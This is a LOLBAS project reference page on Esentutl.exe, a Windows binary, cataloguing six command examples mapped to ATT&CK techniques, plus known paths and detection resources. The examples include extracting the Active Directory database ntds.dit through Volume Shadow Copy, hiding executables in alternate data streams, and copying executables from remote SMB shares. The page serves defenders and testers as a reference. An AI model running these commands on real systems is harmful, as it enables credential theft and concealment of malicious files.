LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Esentutl.exe

View source

Binary for working with Microsoft Joint Engine Technology (JET) database

CopyADSDownload
06COMMAND EXAMPLES
03ATT&CK TECHNIQUES
06DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

6 examples

Copy2

EXAMPLE 01T1105

Copies the source VBS file to the destination VBS file.

COMMAND
esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o
USE CASE
Copies files from A to B
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
EXAMPLE 02T1003.003

Copies a (locked) file using Volume Shadow Copy

COMMAND
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d {PATH_ABSOLUTE:.dit}
USE CASE
Copy/extract a locked file such as the AD Database
PRIVILEGES
Admin
OPERATING SYSTEM
Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server

ADS3

EXAMPLE 01T1564.004

Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.

COMMAND
esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o
USE CASE
Copy file and hide it in an alternate data stream as a defensive counter measure
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
EXAMPLE 02T1564.004

Copies the source Alternate Data Stream (ADS) to the destination EXE.

COMMAND
esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o
USE CASE
Extract hidden file within alternate data streams
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
EXAMPLE 03T1564.004

Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.

COMMAND
esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o
USE CASE
Copy file and hide it in an alternate data stream as a defensive counter measure
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Download1

EXAMPLE 01T1564.004

Copies the source EXE to the destination EXE file

COMMAND
esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o
USE CASE
Use to copy files from one unc path to another
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
02 / ON DISK

Known paths

C:\Windows\System32\esentutl.exe
C:\Windows\SysWOW64\esentutl.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

6 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

egre55@egre55
Mike Cary@grayfold3d